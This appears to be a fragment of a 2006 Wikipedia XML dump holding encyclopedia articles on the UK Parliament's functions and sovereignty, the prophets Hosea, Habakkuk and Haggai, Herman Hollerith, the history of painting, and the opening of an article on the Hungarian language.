Even before the passage of the Parliament Acts, the Commons possessed pre-eminence in cases of financial matters. By ancient custom, the House of Lords may neither introduce a bill relating to taxation or [[Supply]], nor amend a bill so as to insert a provision relating to taxation or Supply, nor amend a Supply Bill in any way. The House of Commons, however, is free to waive this privilege, and sometimes does so to allow the House of Lords to pass amendments with financial implications. The House of Lords, however, remains free to reject bills relating to Supply and taxation, but may be easily overruled if the bills are Money Bills. (A bill relating to revenue and Supply may not be a Money Bill if, for example, it includes subjects other than national taxation and public funds).

The last stage of a bill involves the granting of the [[Royal Assent]]. Theoretically, the Sovereign may grant the Royal Assent (that is, make the bill a law) or withhold the Royal Assent (that is, veto the bill). Under modern notions of a constitutional monarchy, however, the Sovereign always grants the Royal Assent. The last refusal to grant the Assent came in [[1708]], when [[Anne of Great Britain|Anne]] withheld her Assent from a bill &quot;for the settling of Militia in Scotland&quot;.

Every bill, thus, obtains the assent of all three components of Parliament before it becomes law (except as provided by the [[Parliament Acts]] where the House of Lords is over-ridden). All laws are in theory &quot;enacted&quot; by the Sovereign, with the consent of the Lords and Commons. The words &quot;BE IT ENACTED by the Queen's [King's] most Excellent Majesty, by and with the advice and consent of the Lords Spiritual and Temporal, and Commons, in this present Parliament assembled, and by the authority of the same, as follows:-&quot; form a part of each Act of Parliament (where the House of Lords' authority has been overridden through the usage of the Parliament Acts, the words &quot;BE IT ENACTED by The Queen's [King's] most Excellent Majesty, by and with the advice and consent of the Commons in this present Parliament assembled, in accordance with the provisions of the Parliament Acts 1911 and 1949, and by the authority of the same, as follows:-&quot; are used instead). These words at the beginning of every Act are known as the [[enacting formula]].

==Judicial functions==
In addition to its legislative functions, Parliament also performs several judicial functions. The Queen-in-Parliament constitutes the highest court in the realm for most purposes, but the [[Privy Council of the United Kingdom|Privy Council]] has jurisdiction in some cases (for instance, appeals from ecclesiastical courts). The jurisdiction of Parliament arises from the ancient custom of petitioning the Houses to redress grievances and to do justice. The House of Commons ceased considering petitions to reverse the judgements of lower courts in [[1399]], effectively leaving the House of Lords as the realm's court of last resort. In modern times, the [[judicial functions of the House of Lords]] are performed not by the whole House, but by a group of &quot;Lords of Appeal in Ordinary&quot; (judges granted life peerage dignities under the Appellate Jurisdiction Act 1876 by the Sovereign) and by &quot;Lords of Appeal&quot; (other peers with experience in the judiciary). The Lords of Appeal in Ordinary and Lords of Appeal (or &quot;Law Lords&quot;) are Lords of Parliament, but normally do not vote or speak on political matters. 

In the late [[19th century]] Acts allowed for the appointment of ''Scottish Lords of Appeal in Ordinary'' and ended appeal in Scottish criminal matters to the House of Lords so that the [[High Court of Justiciary]] became the highest criminal court in [[Scotland]]. Nowadays the House of Lords legislative committee usually has a minimum of two Scottish Judges to ensure that some experience of [[Scots law]] is brought to bear on Scottish appeals in civil cases, from the [[Court of Session]].

Certain other judicial functions have historically been performed by the House of Lords. Until [[1948]], it was the body in which peers of the Realm had to be tried for felonies or [[high treason]]; now, peers are tried by normal juries. Furthermore, when the House of Commons [[impeachment|impeaches]] an individual, the trial takes place in the House of Lords. Impeachments, however, are now rare; the last impeachment occurred in [[1806]]. There are currently a number of MPs attempting to revive the custom who have signed a motion for the impeachment of the Prime Minister, but this is unlikely to succeed.

==Relationship with the Government==
The British Government is answerable to the House of Commons. However, neither the Prime Minister nor members of the Government are elected by the House of Commons. Instead, the Queen requests the person most likely to command the support of a majority in the House, normally the leader of the largest party in the House of Commons, to form a government. So that they may be accountable to the Lower House, the Prime Minister and most members of the [[Cabinet of the United Kingdom|Cabinet]] are members of the House of Commons instead of the House of Lords. The last Prime Minister to be a Lord of Parliament was [[Alec Douglas-Home|Alec Douglas-Home, 14th Earl of Home]], who became Prime Minister in [[1963]]. Nevertheless, to adhere to the convention under which he was responsible to the Lower House, Lord Home disclaimed his peerage dignity and procured election to the House of Commons within days of becoming Prime Minister.

Governments have a tendency to dominate the legislative functions of Parliament, by using their inbuilt majority in the House of Commons, and sometimes using their patronage power to appoint supportive peers in the Lords. In practice, governments can pass any legislation (within reason) in the Commons they wish, unless there is major dissent by MPs in the governing party. But even in these situations, it is highly unlikely a bill will be defeated, but dissenting MPs may be able to extract concessions from the government. In [[1976]], [[Lord Hailsham]] created a now widely used name for this behaviour, in an academic paper called &quot;[[elective dictatorship]]&quot;. 

Parliament controls the executive by passing or rejecting its Bills and by forcing Ministers of the Crown to answer for their actions, either at &quot;Question Time&quot; or during meetings of the [[List of Committees of the United Kingdom Parliament|parliamentary committees]]. In both cases, the Ministers are asked questions by members of their Houses, and are obliged to answer.

Although the House of Lords may scrutinise the executive through Question Time and through its committees, it cannot bring about the end of a Government. A ministry must, however, always retain the confidence and support of the House of Commons. The Lower House may indicate its lack of support by rejecting a [[Motion of Confidence]] or by passing a [[Motion of No Confidence]]. Confidence Motions are generally originated by the Government in order to reinforce its support in the House, whilst No Confidence Motions are introduced by the Opposition. The motions sometimes take the form &quot;That this House has [no] confidence in Her Majesty's Government&quot; but several other varieties, many referring to specific policies supported or opposed by Parliament, are often used. For instance, a Confidence Motion of [[1992]] used the form, &quot;That this House expresses the support for the economic policy of Her Majesty's Government.&quot; Such a motion may theoretically be introduced in the House of Lords, but, as the Government need not enjoy the confidence of that House, would not be of the same effect as a similar motion in the House of Commons; the only modern instance of such an occurrence involves the No Confidence Motion that was introduced in [[1993]], and subsequently defeated.

Many votes are considered votes of confidence, although not specifically involving the language mentioned above. Important bills that form part of the Government's agenda (as stated in the Speech from the Throne) are generally considered matters of confidence. The defeat of such a bill by the House of Commons indicates that a Government no longer has the confidence of that House. Furthermore, the same effect is achieved if the House of Commons &quot;[[Loss of Supply|withdraws Supply]]&quot;, that is, reject the budget.

Where a Government has lost the confidence of the House of Commons, the Prime Minister is obliged either to resign, or seek the dissolution of Parliament and a new general election. Where a Prime Minister has ceased to retain a majority in that vote and requests a dissolution, the Sovereign can in theory reject his request, forcing his resignation and allowing the [[Leader of the Opposition]] to be asked to form a new government. This power however is supposed to be used extremely rarely. The conditions that should be met to allow such a refusal are known as the [[Lascelles Principles]]. Note, however, that these conditions and principles are merely informal conventions; it is possible, though highly improbable, for the Sovereign to refuse dissolution for no reason at all.

In practice, the House of Commons' scrutiny of the Government is very weak. Since the First-Past-the-Post electoral system is employed in elections, the governing party tends to enjoy a large majority in the Commons; there is often limited need to compromise with other parties. Modern British political parties are so tightly organised that they leave relatively little room for free action by their MPs. In many cases, MPs may be expelled from their parties for voting against the instructions of party leaders. During the twentieth century, the Government has lost confidence issues only thrice&amp;mdash;twice in [[1924]], and once in [[1979]].

==Sovereignty==
Several different views have been taken of Parliament's sovereignty. According to the jurist [[William Blackstone|Sir William Blackstone]], &quot;It has sovereign and uncontrollable authority in making, confirming, enlarging, restraining, abrogating, repealing, reviving, and expounding of laws, concerning matters of all possible denominations, ecclesiastical, or temporal, civil, military, maritime, or criminal &amp;hellip; it can, in short, do every thing that is not naturally impossible.&quot; 

A different view, however, has been taken by the Scottish judge [[Lord Cooper of Culross]]. When he decided the case of [[MacCormick v. Lord Advocate]] as [[Court of Session|Lord President of the Court of Session]], he stated, &quot;The principle of unlimited sovereignty of Parliament is a distinctively English principle and has no counterpart in Scottish constitutional law.&quot; He continued, &quot;Considering that the [[Act of Union 1707|Union legislation]] extinguished the Parliaments of Scotland and England and replaced them by a new Parliament, I have difficulty in seeing why the new Parliament of Great Britain must inherit all the peculiar characteristics of the English Parliament but none of the Scottish.&quot; Nevertheless, he did not give a conclusive opinion on the subject. Thus, the question of Parliamentary sovereignty appears to remain unresolved. Parliament has not passed any Act defining its own sovereignty.

Parliament's power has often been eroded by its own Acts. Acts passed in [[1921]] and [[1925]] grant the Church of Scotland complete independence in ecclesiastical matters. More recently, its power has been restricted by the United Kingdom's membership of the [[European Union]], which has the power to make laws enforceable in each member state. In the [[Factortame case]], the [[European Court of Justice]] ruled that UK courts could have powers to overturn legislation contravening EU law. This new power is a breach of [[parliamentary sovereignty]], which is part of the [[Constitution of the United Kingdom|UK constitution]]. Parliament has also created national devolved assemblies with legislative authority in [[Scotland]], [[Wales]] and [[Northern Ireland]]. However, Parliament still has the power over areas for which responsibility lies with the devolved institutions, but would usually ask permission of those institutions to act on its behalf. Similarly, it has granted the power to make regulations to Ministers of the Crown, and the power to enact religious legislation to the [[General Synod]] of the Church of England. (Measures of the General Synod and, in some cases, proposed [[statutory instrument]]s made by ministers must be approved by both Houses before they become law.) In every case aforementioned, however, authority has been conceded by Act of Parliament, and may be taken back in the same manner. It is entirely within the authority of Parliament to, for example, abolish the devolved governments in Scotland, Wales and Northern Ireland or to leave the EU. However, especially in the case of withdrawing from EU membership, the political costs (the UK's economy and reputation in Europe would most likely be hugely damaged) of such a move would surely prevent it from occurring. Legally, Parliament's sovereignty has not been curtailed; however, in a political sense, its own Acts have reduced Parliament’s sovereignty, especially the [[European Communities Act 1972|European Communities Act 1972 (UK)]], which made the UK a member of the EU.

One well-recognised exception to Parliament's power involves binding future Parliaments. No Act of Parliament may be made secure from amendment or repeal by a future Parliament. For example, although the [[Act of Union 1800]] states that the Kingdoms of Great Britain and Ireland are to be united &quot;forever,&quot; Parliament permitted Southern Ireland to separate into a distinct nation, the [[Irish Free State]], in [[1922]].

==Privileges==
Each House of Parliament possesses and guards various ancient privileges. The House of Lords relies on inherent right. In the case of the House of Commons, the Speaker goes to the Lords' Chamber at the beginning of each new Parliament and requests representatives of the Sovereign to confirm the Lower House's &quot;undoubted&quot; privileges and rights. The ceremony observed by the House of Commons dates to the reign of Henry VIII. Each House is the guardian of its privileges, and may punish breaches thereof. The extent of parliamentary privilege is based on law and custom. Sir William Blackstone states that these privileges are &quot;very large and indefinite,&quot; and cannot be defined except by the Houses of Parliament themselves. 

The foremost privilege claimed by both Houses is that of [[freedom of speech]] in debate; nothing said in either House may be questioned in any court or other institution outside Parliament. Another privilege is that of freedom from [[arrest]] except for [[high treason]], [[felony]] or [[breach of the peace]]; it applies from during a session of Parliament, as well as forty days before or after such a session. Members of both Houses are also privileged from service on [[jury|juries]].

Both Houses possess the power to punish breaches of their privilege. Contempt of Parliament &amp;mdash; for example, disobedience of a [[subpoena]] issued by a committee &amp;mdash; may also be punished. The House of Lords may imprison an individual for any fixed period of time, but an individual imprisoned by the House of Commons is set free upon [[prorogation]]. The punishments imposed by either House may not be challenged in any court.

==See also==
*[[History of democracy]]
*[[MPs elected in the UK general election, 2005]]
*[[List of British ministries]]
*[[List of British Governments]]
*[[Parliament of England]]
*[[Parliament of Scotland]]
*[[List of Parliaments of Great Britain]]
*[[List of Parliaments of the United Kingdom]]
*[[List of Acts of Parliament in the United Kingdom]]
*[[List of Parliamentary constituencies in the United Kingdom]]

==References==
*Blackstone, Sir William. (1765). ''Commentaries on the Laws of England.'' Oxford: Clarendon Press.
*[http://www.parliament.the-stationery-office.co.uk/pa/ld/ldcomp/compso.htm Davies, M. (2003). ''Companion to the Standing Orders and guide to the Proceedings of the House of Lords,'' 19th ed.]
*Farnborough, Thomas Erskine, 1st Baron. (1896). ''Constitutional History of England since the Accession of George the Third,'' 11th ed. London: Longmans, Green and Co.
*&quot;Parliament.&quot; (1911). ''Encyclopædia Britannica,'' 11th ed. London: Cambridge University Press. 

==External links==
*[http://www.parliament.uk/ The Parliament of the United Kingdom. Official website.]
*[http://www.parliamentlive.tv/ The Parliament of the United Kingdom. Parliament Live TV.]
*[http://news.bbc.co.uk/1/hi/uk_politics/a-z_of_parliament/ The British Broadcasting Corporation. (2005). &quot;A&amp;ndash;Z of Parliament.&quot;]
*[http://politics.guardian.co.uk/commons/ ''The Guardian.'' (2005). &quot;Special Report: House of Commons.&quot;]
*[http://politics.guardian.co.uk/lords/ ''The Guardian.'' (2005). &quot;Special Report: House of Lords.&quot;]
*[http://www.leeds.ac.uk/law/hamlyn/statutor.htm Parliamentary procedure site at Leeds University]
*{{gutenberg author|id=British_Parliament|name=the Parliament of the United Kingdom}}

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    <title>Hosea</title>
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      <text xml:space="preserve">{{merge|Book of Hosea}}

{{Books of Nevi'im}}

The '''''Book of Hosea''''' is a book of the Jewish [[Hebrew Bible]], known to Christians as the [[Old Testament]], written by [[Hosea]]. This book stands first in order among the &quot;[[Minor prophets]].&quot;  

The unique contribution of Hosea is the extended allegory of marriage given in chapters 1-3.  While a few commentators believe this section to be entirely symbolic, most believe that the events described did occur.  

First, Hosea was directed by [[Yahweh]] to marry a [[harlot]], and he did so.  This was a symbolic act, representing Yahweh's covenant with Israel.  What was the nation of Israel when Yahweh chose to enter into a covenant relationship with it?  It was a group of ex-slaves who chose to worship a golden calf rather than Yahweh, the God who had rescued them from slavery.  Thus, Yahweh characterizes the nation as a harlot.

Second, Hosea and his wife, [[Gomer]], have a son.  Yahweh commands that the son be named Jezreel.  This name refers to a valley in which much blood had been shed in Israel's history, especially by the kings of the Northern Kingdom.  The naming of this son was to stand as a prophecy against the reigning house of the Northern Kingdom, that they would pay for that bloodshed.

Third, the couple has a daughter.  Yahweh commands that she be named No Pity or Not Pitied, to show Israel that, although Yahweh will still have pity on the [[Southern Kingdom]], He will no longer have pity on the [[Northern Kingdom]]; its destruction is imminent.

Fourth, a son is born to Gomer.  It is questionable whether this child was Hosea's, for Yahweh commands that his name be Not My People, or more simply, Not Mine.  The child bore this name of shame to show that the Northern Kingdom would also be shamed, for its people would no longer be known as God's People.

Following this, the prophecy is made that someday this will all be changed, that Yahweh will indeed have pity on his people, Israel.

Chapter two describes a divorce.  This divorce seems to be the end of the covenant between Yahweh and the Northern Kingdom.  However, it is probable that this was again a symbolic act, in which Hosea divorced Gomer for infidelity, and used the occasion to preach the message of Yahweh's rejection of the Northern Kingdom.  He ends this prophecy with the declaration that Yahweh will one day renew the covenant, and will take His people back in love.

In Chapter three, at Yahweh's command, Hosea seeks out Gomer once more.  Either she has sold herself into slavery for debt, or she is with a lover who demands money in order to give her up, because Hosea has to buy her back.  He takes her home, but refrains from sexual intimacy with her for many days, to symbolize the fact that Israel will be without a king for many years, but that Yahweh will take Israel back, even at a cost to Himself.

Chapters 4-14 spell out the allegory at length.  Chapters 4-10 contain a series of oracles, or prophetic sermons, showing exactly why Yahweh is rejecting the Northern Kingdom, what are the grounds for the divorce.  Chapter 11 is Yahweh's lament over the necessity of giving up the Northern Kingdom, which is a large part of the people of Israel, whom He loves.  He promises that He will not entirely give them up.  Then, in Chapter 12, he pleads for their repentance.  Chapter 13 foretells the destruction of the kingdom at the hands of [[Assyria]], because there has been no repentance.  Chapter 14 urges them to seek forgiveness, and promises the restoration of Israel, while urging the utmost fidelity to Yahweh.

==Context==
Hosea prophesied in a difficult period of [[kingdom of Israel|Israel]]'s history, the period of the Northern Kingdom's decline and fall in the [[8th century BC]]. Hosea was himself a native of the Northern Kingdom, and wrote in a distinctive northern dialect. 

During Hosea's lifetime, the kings of the Northern Kingdom, their aristocratic supporters, and the priests had led the people in falling away from the Law of God, as given in the [[Pentateuch]].  Forsaking the worship of Yahweh, they worshipped other gods, especially Baal, the Canaanite fertility god.  Other sins followed, including homicide, perjury, theft, and sexual sin.  Hosea, like other 8th century prophets, declares that, unless they repent of these sins, Yahweh will allow their nation to be destroyed, and the people will be taken into captivity by Assyria, the greatest nation of the time.

In fact, Assyria did capture Samaria, the capital of the Northern Kingdom, in 722 BC.  All the members of the upper classes and many of the ordinary people were taken captive and carried off to live as prisoners of war.

==Themes==
The primary theme of the Book of Hosea is that God loves Israel, just as a man loves his wife.  This is shown by the extended metaphor of Hosea's own marriage.

In conjunction with that theme, however, are the twin themes of Israel's sin and the coming retribution.  Although Yahweh loves Israel, Israel has not returned His love.  This has been shown by the continued idolatry and acts of violence, oppression, and sexual sin among the people.  Because Israel has not returned God's love, He will put them away from Him, just as Hosea did his wife, and send them into exile.

This introduces the fourth theme, which is the restoration of Israel from exile.  The country will be conquered; the people will be sent into exile; but some will return and build the land up once more.  God will embrace them as His people, and they will be loyal to Him as their God.

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  <page>
    <title>Habakkuk</title>
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      <text xml:space="preserve">{{Redirect|Habbakuk}}

'''Habakkuk''' or '''Havakuk''' ('''&amp;#1495;&amp;#1458;&amp;#1489;&amp;#1463;&amp;#1511;&amp;#1468;&amp;#1493;&amp;#1468;&amp;#1511;''', [[Standard Hebrew]] '''&amp;#7716;avaqq&amp;#363;q''', [[Tiberian Hebrew]] '''&amp;#7716;&amp;#259;&amp;#7687;aqqûq''') was a prophet in the [[Bible]] [[Old Testament]] and [[Judaism|Jewish]] [[Tanakh]]. The name is possibly related to an [[Akkadian language|Akkadian]] word for a plant or the Hebrew word meaning &quot;embrace.&quot; He was the eighth of the twelve [[minor prophets]], and likely the author of the [[Book of Habakkuk]], which bears his name.

Practically nothing is known about Habakkuk's personal history, and all that we surmise is inferred from the text of his book, which consists of five oracles about the [[Chaldean]]s ([[Assyria]]ns) and a song of praise to [[God]]. Since the Chaldean rise to power is dated c. 612 B.C., we can assume that he was active about that time, making him an early contemporary of [[Jeremiah (prophet)|Jeremiah]] and [[Zephaniah]]. Jewish sources, however, do not group him with those two prophets, who are often placed together, so it is possible that he was slightly earlier than them. 

Habakkuk is unique among the prophets in that he openly questions the wisdom of God. In the first part of the first chapter, the Prophet sees the injustice among his people and asks why God does not take action. ''&quot;1:2 Yahweh, how long will I cry, and you will not hear? I cry out to you “Violence!” and will you not save?&quot; - World English Bible.'' 

In the middle part of Chapter 1, God explains that he will send the Chaldeans to punish his people. ''1:5 “Look among the nations, watch, and wonder marvelously; for I am working a work in your days, which you will not believe though it is told you. 1:6 For, behold, I raise up the Chaldeans, that bitter and hasty nation, that march through the breadth of the earth, to possess dwelling places that are not theirs. (World English Bible)''

In the final part of the first chapter, the prophet expresses shock at God's choice of instrument for judgement. ''1:13 You who have purer eyes than to see evil, and who cannot look on perversity, why do you tolerate those who deal treacherously, and keep silent when the wicked swallows up the man who is more righteous than he, (World English Bible[http://www.ebible.org/web/Habakkuk.htm])'' 

In Chapter 2, he awaits God's response to his challenge. God explains that He will also judge the Chaldeans, and much more harshly. ''2:8 Because you have plundered many nations, all the remnant of the peoples will plunder you, because of men’s blood, and for the violence done to the land, to the city and to all who dwell in it. 2:9 Woe to him who gets an evil gain for his house, (World English Bible[http://www.ebible.org/web/Habakkuk.htm])''

Finally, in Chapter 3, Habakkuk expresses his ultimate faith in God, even if he doesn't fully understand. 
''3:17 For though the fig tree doesn’t flourish, nor fruit be in the vines; the labor of the olive fails, the fields yield no food; the flocks are cut off from the fold, and there is no herd in the stalls: 3:18 yet I will rejoice in Yahweh. I will be joyful in the God of my salvation! (World English Bible[http://www.ebible.org/web/Habakkuk.htm])'' 

Because of the final chapter of his book, which is a poetic praise of God, it has been assumed that Habakkuk was likely a member of the Levitical choir in the Temple. Contemporary scholars point out, however, that this chapter is missing from the [[Dead_sea_scrolls|Dead Sea Scrolls]] and has some similarities with texts found in the [[Book of Daniel]]. They therefore suggest that it is a later interpolation which influenced the authors of Daniel, and that it is impossible to make the assumption of Habakkuk's background based on it.

There is a mausoleum in the city of [[Tuyserkan]] in west of [[Iran]] which is believed to be the mausoleum of Habakkuk the Prophet.[http://ofoq.com/gallery/details.php?image_id=623&amp;sessionid=aadd312deb714858d2dd7c2e6c1e80d8]

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  <page>
    <title>Haggai</title>
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      <text xml:space="preserve">'''Haggai''' ('''&amp;#1495;&amp;#1463;&amp;#1490;&amp;#1468;&amp;#1463;&amp;#1497;''', [[Standard Hebrew]] and [[Tiberian Hebrew]] '''&amp;#7716;aggay''') was one of the twelve [[Minor prophets|minor prophets]] and the author of the [[Book of Haggai]]. He was the first of three prophets (with [[Zechariah]], his contemporary, and [[Malachi]], who lived about one hundred years later), whose ministry belonged to the period of  [[History of ancient Israel and Judah|Jewish history]] which began after the return from captivity in [[Babylon]]. 

Scarcely anything is known of his personal history. He may have been one of the captives taken to Babylon by [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]]. He began his ministry about sixteen years after the return of the Jews to [[Palestine]]. The work of rebuilding the temple had been put a stop to through the intrigues of the [[Samaritan]]s. After having been suspended for fifteen years, the work was resumed through the efforts of Haggai and Zechariah ([[Ezra]] 6:14). They exhorted the people, which roused them from their lethargy, and induced them to take advantage of a change in the policy of the Persian government under [[Darius the Great]].

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==See also==
* [[Book_of_Haggai]]

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    <title>Herman Hollerith</title>
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      <text xml:space="preserve">[[Image:Hollerith.jpg|thumb|Herman Hollerith (1860-1929)]]
'''Herman Hollerith''' ([[February 29]], [[1860]] &amp;ndash; [[November 17]], [[1929]]) was an [[United States|American]] [[statistics|statistician]] who developed a mechanical [[tabulator]] based on [[punched card]]s to rapidly tabulate statistics from thousands and millions of data.

==Personal Life==
He was born on February 29, 1860 in [[Buffalo, New York]] to Johann Georg Hollerith (1808–1869); and Franciska Brunn, both of [[Rheinpfalz]], [[Germany]]. He entered the [[City College of New York]] in 1875 and graduated from [[Columbia University School of Mines]] with an &quot;Engineer of Mines&quot; degree in 1879. In 1880 he listed himself as a mining engineer while living in Manhattan, and he completed his Ph.D. in 1890 at [[Columbia University]].  In 1890 he married Lucia Beverley Talcott (1865–?) of Vera Cruz, Mexico and they had six children. He died in 1929 of a heart attack and was buried in the [[Oak Hill Cemetery]] in [[Georgetown, Washington, D.C.]].

==Electronic tabulation of statistical data==
Hollerith spent 1882 on the staff of the [[Mechanical Engineering]] faculty at [[MIT]].  During that year he developed a prototype of a system for storing data on punched cards. This was partly inspired by the system used by railroad conductors, in which holes punched in various places on a passenger's ticket identified the holder's passenger status. Urged on by [[John Shaw Billings]], he developed a mechanism for reading the presence or absence of holes in the cards using spring-mounted needles that passed through the holes to make electrical connections to trigger a counter to record one more of each value. The key idea (due to Billings), however, was that all personal data could be coded numerically. Hollerith saw that if the numbers could then be punched in specified columns on the cards, the cards could be sorted mechanically, and therefore the appropriate columns totalled.  He described his idea in Patent No. 395,782 of January 8, 1889 as follows: 
&lt;blockquote&gt;
The herein described method of compiling statistics which consists in recording separate statistical items pertaining to the individual by holes or combinations of holed punched in sheets of electrically non-conducting material, and bearing a specific relation to each other and to a standard, and then counting or tallying such statistical items separately or in combination by means of mechanical counters operated by electro-magnets the circuits through which are controlled by the perforated sheets, substantially as and for the purpose set forth.
&lt;/blockquote&gt;

==Tabulating Machine Company==
He built machines under contract for the [[United States Census Bureau |US Census Bureau]], which used them to tabulate the 1890 census in  much less time than the 1880 census. He started his own business in 1896 when he founded the [[Tabulating Machine Company]].  Most of the major census bureaus around the world leased his equipment and purchased his cards, as did major insurance companies.  To make his system work he invented the first automatic card-feed mechanism, the first '''key punch''' (i.e. a punch that was operated from a [[Keyboard technology|keyboard]]) allowing a skilled operator to punch 200–300 cards per hour, and a '''wiring panel''' in his [[1906]] Type I Tabulator allowing it to do different jobs without having to be rebuilt (the first step towards programming). The 1890 Tabulator was [[hardwired]] to operate only on 1890 Census cards. These inventions were the foundation of the modern information processing industry.

==International Business Machines==
In 1911  his firm merged with two others to form the Computing Tabulating Recording (CTR) Corporation.  Under the presidency of [[Thomas J. Watson]] it was renamed [[International Business Machines|IBM]] in [[1924]].

== External links ==
* Hollerith's patents from 1889: {{US patent|395781}}  {{US patent|395782}}  {{US patent|395783}}
* [http://museum.nist.gov/panels/conveyor/hollerithbio.htm Hollerith page at the National Hall of Fame]
* [http://www.oakhillcemeterydc.org/map.html Map to his gravesite]
* [http://www.columbia.edu/acis/history/hollerith.html More on Hollerith and his original tabulator]
* [http://web.mit.edu/invent/iow/hollerith.html &quot;Inventor of the Week&quot; biography at Lemelson-MIT Program site]

{{FOLDOC}}

==Timeline==
*1860 Birth of Herman Hollerith
*1880 [[Media:1880_census_Hollerith.gif|US Census]] in Manhattan
*1890 US Census compiled with his tabulating machine
*1929 Death of Herman Hollerith

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  <page>
    <title>History of painting</title>
    <id>13971</id>
    <revision>
      <id>41630483</id>
      <timestamp>2006-02-28T17:25:46Z</timestamp>
      <contributor>
        <username>Tyrenius</username>
        <id>393711</id>
      </contributor>
      <text xml:space="preserve">&lt;!--It would be helpful to have dates in this article--&gt;

== Prehistoric painting ==
*[[cave painting]]
== Ancient painting ==

== Medieval painting ==
*[[Gothic art]]
*[[Panel painting]]

== The Renaissance ==
*[[Early Renaissance painting]]
*[[Renaissance Classicism]]
*[[Italian_Renaissance|Italian Renaissance painting]]
*[[Northern_Renaissance#Art|Northern European Renaissance painting]]
*[[High_Renaissance|High Renaissance painting]]
*[[Mannerism]]

== [[Baroque]] ==
*[[Early Baroque]]
*[[High Baroque]]

== 18th Century ==
*[[Rococo]]
*[[Neoclassicism]]

== 19th Century ==
*[[Romanticism]]
*[[Academic art]]
*[[Realism (arts)]]
*[[Naturalism]]
*[[Impressionist|Impressionism]]
*[[Symbolism]]
*[[Post-Impressionism]]
*[[Neo-Impressionism]]
*[[Art Nouveau]]

== 20th Century ==
&lt;!--These names need to be give a date and put in date order--&gt;

This list is in random order. Date given is for the start of the style or movement.

*[[Fauvism]] (Les Fauves) 1905	 
*[[Cubism]] 1907
*[[Jack of Diamonds]] 1910	 
*[[Puteaux Group|Orphism]]
*[[Dada]]
*[[Surrealism]]
*[[Corealism]]
*[[Rayonnism]]
*[[Neoplasticism]]
*[[Expressionism]]
*[[Abstract art]]
*[[Abstract Expressionism]] 1946
*[[Post-painterly abstraction]] 1964
*[[Neo-expressionism]]
*[[Art Deco]]
*[[Futurism (art)|Futurism]] 1909
*[[Op art]]
*[[Pop art]]
*[[Minimalism]]  
*[[Art Brut]] / [[Folk Art]] / [[Naïve Art]] / [[Outsider Art]]  
*[[Suprematism]] 1913
[[Vorticism]] 1914
*[[Tachism]]
*[[Constructivism]]
*[[Russian avant-garde]]
*[[De Stijl]]
*[[Neue Sachlichkeit]]
*[[American realism]]
*[[Socialist realism]]
*[[Action painting]]
*[[Informal art]]
*[[Lyrical abstraction]]
*[[Monochrome painting]]
*[[Russian Non-Conformist]]
*[[Signal painting]]
*[[Photorealism]]
*[[Concept art]]
*[[Neue Wilde]]
*[[Graffiti]]
*[[Rectoversion]]
*[[Stuckism]] 1999

== See also: ==
* [[History of art]]
* [[History painting]]
* [[Art periods]]
* [[List of painters]]
* [[Painting]]
* [[Self-declared art movement]]

== External links ==

*[http://www.beyondbooks.com/art11/index.asp History of Painting]

[[Category:Art history|Painting]]
[[Category:Painting]]

[[pl:Historia malarstwa]]</text>
    </revision>
  </page>
  <page>
    <title>Hungarian language</title>
    <id>13972</id>
    <revision>
      <id>42161676</id>
      <timestamp>2006-03-04T05:45:49Z</timestamp>
      <contributor>
        <username>Pianoman87</username>
        <id>194203</id>
      </contributor>
      <minor />
      <comment>/* Official status */ add &quot;the&quot;</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Hungarian
|nativename=magyar
|pronunciation=[ˈmɒɟɒr̪]
|familycolor=Uralic
|states=[[Hungary]] and areas in [[Romania]], [[Slovakia]], [[Ukraine]], [[Serbia]], [[Croatia]], [[Austria]], and [[Slovenia]]
|speakers=14.5 million
|rank=52
|fam1=[[Uralic languages|Uralic]]
|fam2=[[Finno-Ugric languages|Finno-Ugric]]
|fam3=[[Ugric languages|Ugric]]
|nation=[[Hungary]], [[European Union]], [[Slovenia]] (regional language), [[Serbia]] (regional language), [[Austria]] (regional language)
|agency=[[Magyar Tudományos Akadémia Nyelvtudományi Intézete|Research Institute for Linguistics of the Hungarian Academy of Sciences]]
|script=[[Latin alphabet]] ([[Hungarian alphabet|Hungarian variant]])
|iso1=hu|iso2=hun|iso3=hun}}

The '''Hungarian [[language]]''' is a [[Finno-Ugric language]] spoken in [[Hungary]] and in the adjacent states of [[Romania]], [[Slovakia]], [[Ukraine]], [[Serbia and Montenegro]], [[Croatia]], [[Austria]], and [[Slovenia]] (all are countries to which Hungary had to retrocede territories after [[World War I]]). The Hungarian name for the language is ''magyar'' {{IPA|[ˈmɒɟɒr̪]}}.

There are about 14.5 million speakers, of whom 10 million live in Hungary. Approximately 1,434,377 ethnic Hungarians ([[Magyars]]) live in Romania. The largest minority concentrations are in the Romanian counties of [[Transylvania]], including [[Harghita]] ''(Hargita),'' [[Mureş County|Mureş]] ''(Maros),'' and [[Covasna County|Covasna]] ''(Kovászna).''

&lt;!--== History ==
Probable history of the language. What language(s) it is derived from. Dates of movement of major groups of speakers, etc.
--&gt;

== Classification ==
{{hulang}}

Hungarian is a member of the [[Ugric languages]], a sub-group of the [[Finno-Ugric language]] family, which in turn is a branch of the [[Uralic languages]]. Connections between the Ugric and Finnic languages were noticed in the [[1670s]] and established, along with the entire Uralic family, in [[1717]], although the classification of Hungarian continued to be a matter of [[#Controversy|political controversy]] into the [[18th century|18th]] and even [[19th century|19th]] centuries. Today the Uralic family is considered one of the best demonstrated large language families, along with [[Indo-European]] and [[Austronesian]]. 

===Sound correspondences===

There are numerous regular sound correspondances between Hungarian and the other Ugric languages. For example, Hungarian ''á'' {{IPA|[aː]}} corresponds to [[Khanty language|Khanty]] {{IPA|[o]}} in certain positions, and Hungarian ''h'' {{IPA|[h]}} corresponds to Khanty {{IPA|[x]}}, while Hungarian final ''z'' {{IPA|[z]}} corresponds to Khanty final {{IPA|[t]}}. For example, Hungarian ''ház'' {{IPA|[haːz]}} &quot;house&quot; vs. Khanty {{IPA|[xot]}} &quot;house&quot;, and Hungarian ''száz'' {{IPA|[saːz]}} &quot;hundred&quot; vs. Khanty {{IPA|[sot]}} &quot;hundred&quot;. 

The distance between the Ugric and Finnic languages is greater, but the correspondances are also regular. The relationship is most obvious when comparing all the Ugric languages with all the Finnic languages, for then individual idiosyncracies are averaged out, but here we will just compare Hungarian with Finnish.

*Finnish [p] corresponds to Hungarian [f] (just like Latin [p] in ''pater'' corresponds to English [f] in ''father''): 
{|
! Finnish !! Hungarian !! meaning
|-
| {{IPA|[puː]}} || {{IPA|[fɒ]}} || &quot;tree&quot;
|-
